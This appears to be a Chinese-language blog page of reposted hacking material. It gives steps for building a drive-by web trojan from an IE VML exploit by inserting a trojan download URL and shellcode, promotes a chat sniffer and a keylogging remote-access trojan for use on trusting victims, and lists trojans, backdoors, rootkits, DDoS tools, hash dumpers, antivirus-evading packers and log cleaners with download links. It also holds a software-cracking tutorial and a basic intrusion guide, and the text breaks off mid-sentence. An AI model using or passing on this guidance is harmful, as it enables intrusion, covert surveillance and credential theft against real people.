One Life One Chance PSP改機工作室 2007 3007 PSP GO 高雄市 高雄 鳳山 小港 三民 苓雅 二苓 前鎮 鼓山 凱旋 獅甲 三多商圈 中央公園 高雄火車站 PSP 專業 軟改 改機 改殼 改led 透明殼 psp透明殼

透過Windows SP2
使用方法：
注：請勿直接運行Shellcode.exe！！！！
1.用記事本打開“生成.bat” 修改http://www.cc99.cn/xxx.exe為你的木馬的地址。
2.保存“生成.bat”後雙擊運行，即可生成ShellCode.txt.
3.用記事本打開IE_VML.htm，找到#########Your Shellcode!!!#########的字樣，
把生成的ShellCode.txt中的Shellcode複製替換#########Your Shellcode!!!#########，保存！
4.網頁木馬就這樣生成拉！
本程序僅供學習使用，請務用於非法用途，否則後果自負！
利用代碼提供 。
下載點→   http://www.sendspace.com/file/crs67f

教學: 成功安裝好MSN Sniffer後， 運行桌面上的MSN Sniffer快捷圖示即可運行， 在工具欄上直接點擊“Start”圖示按鈕即可開始偵探。 在“MSN messenger conversation list”下的顯示視窗中 我們將可以看到被監視的所有機器的IP位址、埠以及帳號等資訊， 例如我們要查看第一個被嗅探的電腦， 那麼選中該項， 此時將在 “Messages in the conversation”視窗中顯示該電腦上所有的聊天資訊。 點擊“Refresh”將可以立即更新偵探的聊天資訊， 也可以選中“Auto Refresh”項自動更新。 如果要停止偵探，那麼直接點擊工具欄上的“Stop”圖示按鈕即可。 快速保存偵探的聊天記錄MSN Sniffer不僅可以讓網管員即時地在軟體視窗查看監測到的聊天記錄， 而且它還具有快速地保存偵探到的MSN聊天記錄的功能。 點擊軟體介面工具欄上的“Save”圖示按鈕， 此時你就可以將聊天記錄保存為HTM網頁文檔的形式。 測試報告：MSN Sniffer是一個專業的嗅探局域網MSN Messenger聊天資訊的軟體，從本文我們不難看出它具有功能單一、操作非常簡單且不易被別人所發現的特點 適合使用於公司、學校、或家中可以看見家人的聊天 要同網域下的才可以抓到喔
  
下載點→ http://taiwan.cnet.com/downloads/utility/0,2000071099,20013408s,00.htm

強勁的密碼查看軟件
支持Windows系統中 '***' 顯示的密碼查看
支持網頁中 '***' 顯示的密碼查看
支持IE自動完成的密碼查看與密碼列表保存
支持OutLook Express郵件帳戶密碼查看
支持CMOS開機密碼清除
支持IE分級審查密碼清除
下載點→  http://www.badongo.com/file/2239307url

彩虹遠端Hui_v1.30.1.3205這是一個遠端系統！！
成功連接後～你可以看到對方電腦裡的所有資料！
操控對方的鍵盤及滑鼠～
鍵盤側錄系統～　（盜密碼　　－　　－）
銀幕監控　　　　（沒側錄到。。。就看銀幕ㄅ！ ）
但是。。。。
這隻木馬蠻弱的！！（連＂諾頓＂都抓得到！）
ＳＯ。。。
只適合丟給沒裝防毒。非常相信你的人。以及。。。。
裝在自己電腦２４小時監控自己電腦的任何紀錄！！ 
各位記的要去我的電腦按右鍵→內容→遠端把兩個控格都打勾
和用動態域名[dns] 教學網址http://cpatch.org/yangnan/is/iptoip/no-ip/no-ip.htm
如不想要用動態域名就只要輸入你自己的ip即可
教學+程式下載點→      http://www.badongo.com/file/2189966

CGI后門： cgi網頁后門 cgi網頁后門，envymask編寫...《 網頁合並器 本程序可以自動生成網頁，可以把網頁和EXE合成新的網頁，在打開網頁的同時自動運行EXE文件.你將木馬合並在一個網頁中，別人瀏覽之后，呵呵，我什麼都沒說~~~ 海陽頂端網木馬 windows環境下永遠不會被查殺的木馬，因為它是用asp做的，也是一套asp在線極好 的網頁編輯軟體，支持在線更改、編輯、刪除任意文本文件，同時最重要的是解決了無組件asp上傳...（中文版 cgi-backdoor 幾個cgi木馬(十多種利用最新漏洞的web腳本后門，涵蓋jsp,php,asp,cgi等等) * 命令行后門類 winshell WinShell是一個運行在Windows平台上的Telnet服務器軟體，主程序是一個僅僅5k左右的可執行文件，可完全獨立執行而不依賴於任何系統動態連接庫，盡管它體積小小，卻功能不凡，支持定制連接埠、密碼保護、多使用者登錄、NT服務方式、遠程文件下載、資訊自定義及獨特的反DDOS功能等...《入侵NT中winshell的使用》 Gina Gina木馬的主要作用是在系統使用者登陸時，將使用者登陸的名字，登陸密碼等記錄到文件中去，因為這個DLL是在登陸時加載，所以不存在象findpass那類程序在使用者名字是中文或域名是中文等無法得到使用者...儒 Wollf1.5 我們的一位女黑客寫的軟體，擴展Telnet服務，集成文件傳輸、Ftp服務器、鍵盤記錄、Sniffer(for win2k only)、連接埠轉發等功能，可反向連接，可通過參數選擇隨系統啟動或作為普通進程啟動 WinEggDrop Shell 1.50最終版在 一個擴展型的telnet后門程序{中國最強的后門} ********************************************************************************************** 菜鳥掃瞄軟體！ 20CN IPC 掃瞄器正式版 全自動IPC掃瞄器，可以同步植入木馬，可以透過部分沒有配置完整的防火墻，能夠探測流光探測不到的一些使用者...（中文版） 網絡肉雞獵手 一個快速搜尋網絡肉雞的小工具 網頁資訊神探 使得網頁不再有祕密，各種資訊一目了然，什麼電影、圖片、Email地址、文章、Flash、壓縮文件、可執行文件...等等的連結地址無處可藏！連續而快速下載各種軟體、打包教程、VB、VC、動畫教程、Flash、電影、寫真圖片 ************************************************************************************** SQL2.exe SQL蠕重聽過吧，就是的這個漏洞！ NetScanTools 一款功能強大的網絡工具包...（英文版） dvbbs.exe 動網logout.asp利用程序 THCsql 針對David Litchfield發現的MSSQL OpenDataSource函數漏洞的攻擊程序，內含源代碼。 小紫V2.0追加版 *小紫*（LB論壇噩夢）V2.0追加版加入LB.EXE，可以獲得論壇管理員權限。 LB5論壇轟炸機 我兄弟寫的程序，{推存} LB5論壇轟炸機修正版2.5在LB5論壇轟炸機修正版2.0的原有功能基礎上增加以下功能及特性：1同時支持6線程轟炸，速度可比V2.0提高一倍以上 2機器智慧重新增加,帶有自動轉向定位功能 3增加監視視窗 4標題可改...（ MSN 消息攻擊機 這是一個用於MSN Messenger 的消息攻擊機（其實不局限於MSN 的），它具有超快的攻擊速度，據測試，在普通Pentium 200 MMX 攻擊速度可以達到5條/秒。而且軟體體積極小，有效節省系統資源...（ 怪狗專用版3389登陸器 我改的一個小程序，有使用者名密碼，用它可以3389登陸win系統，（必備） DameWare NT Utilities 一款功能強大的Windows NT/2000/XP 服務器遠程控制軟體，只要擁有一個遠程主電腦的管理帳號，就能使用它遠程GUI下登陸交互控制主電腦...（英文版）《 追捕： 找到IP所在地！ 柳葉擦眼 這個小軟體可以列出系統所有的進程（包括隱藏的），並可以殺死進程.這個是共享軟體...（中文版）《讓傳奇木馬走開》 Xdebug ey4s大哥寫的windows 2000 kernel exploit，有了它提昇權限就簡單了！ 代理之狐 可得到最新代理，用於隱藏真實IP，不過，有能力最好自己在肉機上做個代理安全！ HackerDicBuilder 本軟體屬於一款字典制作工具，根據國人設置密碼的習慣,利用線程技術，生成字典文件 ... （中文版） 多位朋友點播 scanipc 這個是木頭見過的最傻瓜化的入侵軟體了，只要設置好你要上傳的后門和IP範圍，它就會開始工作了，界面簡單實用，全自動IPC掃瞄器，可以同步植入木馬，可以透過部分沒有配置完整的防火墻，能夠探測流光探測不到的一些使用者 ... Tiny Honeypot 這是一款簡單的蜜罐程序，主要基於iptables的重定向和一個xinetd監聽程序，它監聽當前沒有使用的每個TCP連接埠記錄所有的活動資訊，並且提供一些回送資訊給入侵者。應答部分全部採用perl程序編寫，它提供了足夠的交互資訊足以愚弄大多數的自動攻擊工具和小部分的入侵者。通過缺省的適當限制，該程序可以安裝在產品主電腦上，而幾乎不會影響主電腦的性能（應用平台Linux/POSIX） Clearlog 用於刪除Windows NT/2K/XP的WWW和FTP安全日志文件，通常入侵某台服務器后為了避免被跟蹤，都採用這一方法來消除IP記錄 ... 《入侵全攻略》 LC4 可以檢測使用者是否使用了不安全的密碼，是最好，最快的Win NT/2000 workstations 密碼破解工具，目前這是最新版本.它宣稱：在P300機器上不到48小時可以破解90%的超級使用者(Admin)口令.18%不到10分鐘就可以破解出來 ... 獨裁者 DDOS 工具， 此軟體太厲害，千萬不可爛用，否則可能進監獄！ LocatorHack.exe MS Locator!formQueryPacket.wcscpy 遠程溢出工具與webdav漏洞一樣厲害。Microsoft Windows Locator服務遠程快取區溢出漏洞 TFTPD32.exe 圖形化的TPTP工具，做黑客這樣的工具都沒有，說不過去！ iis5sp3 說明中說，iis5安裝sp3的溢出成功，反正我在sp3下沒成功過！ smbrelay.exe 可利用網頁得到NT密碼散列！{推存} IECookiesView1.5 可改寫cookies資訊，有此工具進行cookies欺騙就簡單多了， HackPass.exe，MD5.exe 破解MD5密碼的軟體~！ DVGetPass.exe 動網tongji.asp漏洞利用工具，可得到論壇管理員權限，再上傳ASP木馬！呵呵就~~~~ webadv 針對iis+sp3的溢出成功率很高(溢出后system權限!) * R_ webadv 能用版的webdav漏洞使用工具！聽說，日本，繁體都能用， ipscan 大範圍網段快速ipc$猜解 svc 遠程安裝/刪除win2k服務 3389.vbs 遠程安裝win2k終端服務不需i386 arpsniffer arp環境sniffer(需要winpcap2.1以上) * ascii 查詢字符和數字ascii碼(常用來對url編碼用以躲避ids或腳本過濾) ca 遠程克隆賬號 cca 檢查是否有克隆賬號 crackvnc 遠程/本地破解winvnc密碼(本地破用-W參數) pass.dic 密碼字典 debploit win2k+sp2配置最佳權限提昇工具 fpipe 連接埠重定向工具 fscan superscan命令行版本(可定義掃瞄時的源連接埠並支持udp連接埠掃瞄) * hgod04 ddos攻擊器 idahack ida溢出 idq.dll 利用isapi漏洞提昇權限(對sp0+sp1+sp2都非常有效，也是很棒的web后門) IIS idq溢出 inst.zip 指定程序安裝為win2k服務 * ip_mail.rar 送出主電腦動態IP的軟體 * ipc.vbs 不依賴ipc$給遠程主電腦開telnet ispc.exe idq.dll連接客戶端 Keyghost.zip 正版鍵盤記錄器 log.vbs 日志清除器(遠程清除不依賴ipc$) msadc.pl winnt的msadc漏洞溢出器 * MsSqlHack mssql溢出程序1 mysql-client mysql客戶端 Name.dic 最常用的中國人使用者名(看看你常用的使用者名在不在里面) PassSniffer 大小僅3kb的非交換機sniffer軟體 * psexec 通過ipc管道直接登錄主電腦 pskill 殺進程高手 pslist 列進程高手 rar 命令行下的中文版winrar(功能相當全面) * reboot.vbs 遠程重啟主電腦的腳本 sdemo.zip 巨好的屏幕拍攝的錄影軟體 shed 遠程搜尋win9x的共享資源 sid 用sid列使用者名 SkServerGUI snake多重代理軟體 SkSockServer snake代理程序 SMBCrack 是小榕為流光5開發的測試原型，和以往的SMB（共享）暴力破解工具不同，沒有採用系統的API，而是使用了SMB的協議。Windows 2000可以在同一個會話內進行多次密碼試探 ... 《入侵全攻略》 socks 利用這工具安裝木馬，即使通信閘重新低格硬碟木馬也在嘿嘿 * SocksCap 把socks5代理轉化為萬能代理 SPC.zip 可以直接顯示出遠程win98共享資源密碼的東東 * WMIhack 基於WMI服務進行賬號密碼的東東(不需要ipc) skmontor snake的注冊表監視器（特酷的) sql1.exe mssql溢出程序2 sql2.exe mssql溢出程序3 SqlExec mssql客戶端 SuperScan GUI界面的優秀掃瞄器 syn syn攻擊第一高手 upx120 特好的壓縮軟體，常用來壓縮木馬躲避殺毒軟體 wget 命令行下的http下載軟體 Win2kPass2 win2k的密碼大盜 Winnuke 攻擊rpc服務的軟體(win2ksp0/1/2/3+winnt+winxp系統不穩定) smbnuke 攻擊netbios的軟體(win2ksp0/1/2/3+winnt+winxp系統死機) WinPcap_2_3 nmap,arpsniffer等等都要用這個 WinPcap_2_3_nogui.exe 無安裝界面自動安裝的WinPcap_2_3（命令行版) * scanbaby2.0 能對80%的mail服務利用漏洞列賬號密碼破解(超酷哦，去看rfc里有mail弱點說明) * SuperDic_V31 非常全面的黑客字典生成器 Getadmin win2k+sp3配置的權限提昇程序(不錯!!!) * whoami 了理自己的權限 FsSniffer 巨好的非交換機sniffer工具 twwwscan 命令行下巨好的cgi掃瞄器 TFTPD32 給遠方開tftp服務的主電腦傳文件(當然要有個shell) RangeScan 自定義cgi漏洞的GUI掃瞄器 pwdump2 本地抓winnt/2k密碼散列值(不可缺) pwdump3 遠程抓winnt/2k密碼散列值(不可缺) procexpnt 查看系統進程與連接埠關聯(GUI界面) * nc 已經不是簡單的telnet客戶端了 CMD.txt 有什麼cmd命令不懂就查查它 * fport 命令行下查看系統進程與連接埠關聯(沒有GUI界面的procexpnt強) BrutusA2 全功能的密碼破解軟體,支持telnet,ftp,http等服務的口令破解 cmd.reg 文件名自動補全的reg文件(命令行:按TAB鍵自動把sys補全為system,再按一次就變為system32) regshell 命令行下的注冊表編輯器 nscopy 備份員工具(當你是Backup Operators組的使用者時有時你的權限會比admin還大) session.rar 有了win/nt2000目標主電腦的密碼散列值,就可以直接送出散列值給主電腦而登錄主電腦 * klogger.exe 一個幾kb的擊鍵記錄工具,運行后會在當前目錄生成KLOGGER.TXT文件 * smb2 發動smb的中間人MITM攻擊的工具，在session中插入自己的執行命令 * xptsc.rar winxp的遠程終端客戶端(支持win2000/xp) SQLhack.zip 相當快的mssql密碼暴力破解器 mssql 相當快的mssql密碼暴力破解器 ntcrack.zip 利用獲取到的MD4 passwd hash破解帳號密碼 SQLSniffer.rar MSsql的密碼明文嗅探器 TelnetHack.rar 在擁有管理員權限的條件下，遠程打開WIN2000機器的Telnet服務 RFPortXP.exe XP下關聯連接埠與進程的程序 SQLTools.rar mssql工具包 ServiceApp.exe 遠程安裝/刪除服務 hgod 具有SYN/DrDos/UDP/ICMP/IGMP拒絕服務測試功能的選項 hscan 小型綜合掃瞄器(支持cisco,mysql,mssql,cgi,rpc,ipc(sid),ftp,ssh,smtp等等相當全面) HDoor.rar ping后門(icmp后門) SIDUserEnum.exe 利用sid得到使用者列表(小榕的那個sid有時不能完全列舉出來) * RPC_LE.exe 利用rpc溢出使win2k重啟(對sp3+sp4hotfix有效) * r3389.exe 查詢Terminal Server更改后的連接埠（1秒內） * smbsniffer.exe 獲取訪問本地主電腦網頁的主電腦散列值(支持截獲內網主電腦散列) * NetEnum.exe 通過3389連接埠+空連接獲取對方主電腦大量資訊 * aspcode.exe 經測試最有效的asp溢出程序第二版(對sp2有效) sslproxy 針對使用ssl加密協議的代理（掃瞄器通過它就可以掃瞄ssl主電腦了!!!!) * lsa2 在lsa注冊表鍵里獲取winnt/2k的明文密碼包括sqlserver的(打了補丁就沒用了) * psu.exe 用指定進程的權限打開指定的程序 ldap.msi ldap 輕量級目錄服務客戶端,通過389連接埠獲取主電腦大量資訊如賬號列表 * rootkit 從系統底層完美隱藏指定進程，服務，注冊表鍵並可以連接埠綁定的內核級win2k后門!!! * Xscan 一款強大的掃瞄軟體，可以和流光相媲美 採用多線程方式對指定IP地址段（或單機）進行安全漏洞檢測，支持外掛程式功能，提供了圖形界面和命令行兩種操作方式，掃瞄內容包括：遠程操作系統類型及版本，標準連接埠狀態及連接埠BANNER資訊，SNMP資訊，CGI漏洞，IIS漏洞，RPC漏洞，SQL-SERVER、FTP-SERVER、SMTP-SERVER、POP3-SERVER、NT-SERVER弱口令使用者，NT服務器NETBIOS資訊、注冊表資訊等。掃瞄結果保存在/log/目錄中，index_*.htm為掃瞄結果索引文件。 增SSL外掛程式，用於檢測SSL漏洞；昇級PORT、HTTP、IIS外掛程式...（ x-way2.5 採用多線程形式對服務器系統進行漏洞掃瞄和安全測試工具，X-WAY多個版本均在Win2000下開發，建議使用者使用時候也在Win2000環境，以發揮最佳效果...（中文版）《掃瞄工具，別忘了x-way2.5》 SSS 俄羅斯出的，最好的掃瞄軟體，還有分析，有漏洞描述，速度慢了點，它是我見地的最好的掃瞄軟體！ NAMP 我一直用的是個這命令行的掃瞄軟體，有win，LINUX版的，又快，又好，支持TCP,UDP,ICMP,安全掃瞄不會留下掃瞄日志！ 下面的軟體本來不想收進來給大家看，因為頂級黑客不入侵個人電腦，基本不用別人寫的木馬，肯定是人手一個（自己編寫的木馬） 沒有任何殺毒軟體能查出來的。 ********************************************************************************************** 使用木馬改造工具： ASPack 這個是使用木馬都一定要會用的工具，它能壓縮木馬，不讓殺毒軟體查出來！ UPX 非常好的可執行文件壓縮軟體，支持的格式包括 atari/tos，djgpp2/coff，dos/com，dos/exe，dos/sys，rtm32/pe，tmt/adam，watcom/le，win32/pe，Linux/i386 等等，壓縮比率也非常的高 ... ************************************************************************************** 菜鳥級木馬類： 黑境 近墨者 魔法控制 灰鴿子 風雪 國產后門風雪，此版根據一些網友的建議，改進了幾個功能，一個是可以配置是否自動共享C盤的功能，另一個是在查看功能表上加上了密碼是否用*號來表示，同時修正了1.3版本在打開網址時按取消鍵仍會打開網址的BUG...（ 網絡神偷 一款遠程控制軟體，更新速度較快，可以訪問局域網中的電腦，連接穩定上傳下載速度快，但是會被很多殺毒廠商看成木馬病毒追殺，要求使用者有自己的FTP空間 ... （中文版 冰河 3 廣外男生 廣外女生 Peep 一套運用反連接埠技術的遠程監控軟體，運用此原理可以達到一般遠程控制軟體所無法達到之功能，例如可對區域網路及有架設防火墻的電腦作監控，被控端電腦將具有自動回傳連線之功能，通信埠可任意動態修改，及具有獨立連線，也就是說除您本人其他人無法連線監控。其他的功能還有上線通知、連線速率調整、遠端檔案總管、遠端桌面監控、 遠端進程管理、遠端登錄編輯、網頁通報服務、DDoS攻擊、還有被控端程式設置精靈、有常駐選擇、文件捆綁及連線方式等選項...（中文版） 木牛隱型版 運行后，服務器上硬碟C盤符共享（完全控制權限）開啟ADMIN$、IPC$共享，開啟TELNET服務，自動創建一個管理員權限帳號：IUSR_COMPUTER 密碼：IUSR_COMPUTER...該版本自動修改注冊表，重起后自動運行 IE'en 通過IE遠程控制的軟體。它可以遠程遙控IE動作，可以直接截取IE和任何服務器之間的資料通信，你在IE中輸入的使用者名、密碼等機密資訊都在此列，它可以以純文本方式存儲或送出這些資訊，一旦啟動這一軟體，遠端被監控的瀏覽器視窗中進行的任何輸入輸出都會顯示在本地IE'en中。運行ieen_s.exe（注：服務端）需要管理員權限 盜密高手 監視被監視端（裝了此程序的電腦）上QQ、信箱等各種密碼，並送出到您設置的信箱 后記: 以上的軟體我都有，也基本都測試過，有了好的工具才能事半功倍，以上的軟體中國頂級黑客使用的軟體，都是這些。 其實，主要還是自己編寫的黑客軟體用的多，只會用別的人工具，那不是頂級黑客 ,%10的工具靈活應用+%30經驗技術+%60的分析=一次較有深度的安全檢測     
   
  教學網頁→    http://www.pcdog.com/network/html/2004831/318200411714_1.htm

本文轉貼至： 無名新科技-無名破解聯盟 By: vbsky
下面談到了一些在學習解密過程中經常遇到的問題，本人根據自己的經驗簡單給大家談一談。這些問題對於初學者來說常常是很需要搞明白的，根據我自己的學習經歷，如果你直接照著很多破解教程去學習的話，多半都會把自己搞得滿頭的霧水，因為有很多的概念要麼自己不是很清楚，要麼根本就不知道是怎麼一回事，所以希望通過下面的討論給大家一定的幫助：
1. 斷點：所謂斷點就是程序被中斷的地方，這個詞對於解密者來說是再熟悉不過了。那麼什麼又是中斷呢？中斷就是由於有特殊事件（中斷事件）發生，電腦暫停當前的任務（即程序），轉而去執行另外的任務（中斷服務程序），然後再返回原先的任務繼續執行。打個比方：你正在上班，突然有同學打電話告訴你他從外地坐火車過來，要你去火車站接他。然後你就向老闆臨時請假，趕往火車站去接同學，接著將他安頓好，隨後你又返回公司繼續上班，這就是一個中斷過程。我們解密的過程就是等到程序去獲取我們輸入的註冊碼並準備和正確的註冊碼相比較的時候將它中斷下來，然後我們通過分析程序，找到正確的註冊碼。所以我們需要為被解密的程序設置斷點，在適當的時候切入程序內部，追蹤到程序的註冊碼，從而達到crack的目的。
2. 領空：這是個非常重要的概念，但是也初學者是常常不明白的地方。我們在各種各樣的破解文章裡都能看到領空這個詞，如果你搞不清楚到底程序的領空在哪裡，那麼你就不可能進入破解的大門。或許你也曾破解過某些軟件，但那只是瞎貓碰到死老鼠而已（以前我就是這樣的^_^,現在說起來都不好意思喔！）。所謂程序的領空，說白了就是程序自己的地方，也就是我們要破解的程序自己程序碼所處的位置。也許你馬上會問：我是在程序運行的時候設置的斷點，為什麼中斷後不是在程序自己的空間呢？因為每個程序的編寫都沒有固定的模式，所以我們要在想要切入程序的時候中斷程序，就必須不依賴具體的程序設置斷點，也就是我們設置的斷點應該是每個程序都會用到的東西。在DOS時代，基本上所有的程序都是工作在中斷程序之上的，即幾乎所有的DOS程序都會去調用各種中斷來完成任務。但是到了WINDOWS時代，程序沒有權力直接調用中斷，WINDOWS系統提供了一個系統功能調用平台（API），就向DOS程序以中斷程序為基礎一樣，WINDOWS程序以API為基礎來實現和系統打交道，從而各種功能，所以WINDWOS下的軟件破解其斷點設置是以API函數為基礎的，即當程序調用某個API函數時中斷其正常運行，然後進行解密。例如在SOFTICE中設置下面的斷點：bpx GetDlgItemText（獲取對話框文本），當我們要破解的程序要讀取輸入的數據而調用GetDlgItemText時，立即被SOFTICE攔截到，從而被破解的程序停留在GetDlgItemText的程序區，而GetDlgItemText是處於WINDWOS自己管理的系統區域，如果我們擅自改掉這部分的程序代碼，那就大禍臨頭了^_^！所以我們要從系統區域返回到被破解程序自己的地方（即程序的領空），才能對程序進行破解，至於怎樣看程序的領空請看前面的SOFTICE圖解。試想一下：對於每個程序都會調用的程序段，我們可能從那裡找到什麼有用的東西嗎？（怎麼樣去加密是程序自己決定的，而不是調用系統功能實現的！）
3. API：即Application Programming Interface的簡寫，中文叫應用程序編程接口，是一個系統定義函數的大集合，它提供了訪問操作系統特徵的方法。 API包含了幾百個應用程序調用的函數，這些函數執行所有必須的與操作系統相關的操作，如內存分配、向屏幕輸出和創建窗口等，用戶的程序通過調用API接口同WINDOWS打交道，無論什麼樣的應用程序，其底層最終都是通過調用各種API函數來實現各種功能的。通常API有兩中基本形式：Win16和Win32。 Win16是原來的、API的16位版本，用於Windows 3.1；Win32是現在的、API的32位版本，用於Windows 95/98/NT/ME/2000。Win32包括了Win16，是Win16的超集，大多數函數的名字、用法都是相同的。16位的API函數和32位的API函數的區別在於最後的一個字母，例如我們設置這樣的斷點：bpx GetDlgItemText、bpx GetDlgItemTextA和bpx GetDlgItemTextW，其中 GetDlgItemText是16位API函數，GetDlgItemTextA和GetDlgItemTextW是32位API函數，而GetDlgItemTextA表示函數使用單字節，GetDlgItemTextW表示函數使用雙字節。現在我們破解中常用到的是Win32單字節API函數，就是和GetDlgItemTextA類似的函數，其它的兩種（Win16 API和Win32雙字節API函數）則比較少見。 Win32 API函數包含在動態鏈接庫（Dynamic Link Libraries，簡稱DLLs）中，即包含在kernel32.dll、user32.dll、gdi32.dll和comctl32.dll中，這就是為什麼我們要在softice中用exp=C:\windows\system\kernel32.dll等命令行將這些動態鏈接庫導入softice中的原因。因為不這樣做的話，我們就無法攔截到系統Win32 API函數調用了。

在使用Word進行文件保護時，我們經常會使用到表單保護（工具→保護文件），用表單保護最爲徹底，使用者無法編輯，也無法進行剪下與貼上的操作。
我們自己來測試一下：
首先建立一個word文件，使用表單保護的方式保護文件：
工具→保護文件→勾選“僅允許在文件中使用此類型的編輯方式”→選擇“填寫表單”，
此時會彈出一個密碼框，輸入2次密碼（我這裏選擇123作爲word文件密碼），這樣，該文件就已經被保護起來了。

包含
BestCrypt-另類的加密工具
Password Recovery Kit 6.1 完全版-密碼恢復軟體
世界最著名的密碼破解軟體
破網芳密碼

知道對方IP，你該這樣入侵
駭客已經成為一種文化，很多人想成為駭客，他們偶爾學到了幾種小花招，總喜歡拿別人開玩笑，搞些惡作劇。其實駭客的最高境界在於防守，不在於進攻。所謂明槍易躲暗箭難防，要防住他人所有的進攻，肯定需要懂得比對方更多的系統知識，瞭解更多的系統漏洞，及如何彌補漏洞。 現在滿天都是駭客教程，但真正有用的不多，下面介紹一種WIN9X下的入侵方法:
1.取得對方IP地址如XX.XX.XX.XX，方法太多不細講了。
2.判斷對方上網的地點，開個DOS窗口鍵入 TRACERT XX.XX.XX.XX 第4和第5行反映的信息既是對方的上網地點。
3.得到對方電腦的名稱，開個DOS窗口鍵入 NBTSTAT -A XX.XX.XX.XX 第一行是對方電腦名稱 第二行是對方電腦所在工作組 第三行是對方電腦的說明

什麼是黑客
在日本出版的《新黑客字典》中，對黑客是這樣定義的：「喜歡探索軟件
程序並從中增長了其個人才幹的人。他們不像絕大多數電腦使用者那樣，只規
規矩矩地瞭解別人指定的狹小的一部分知識」。在Open Source（開放源代碼）
旗手ERIC。S。RAYMOND的《The New Hackers Dictionary》一文中，對「Hac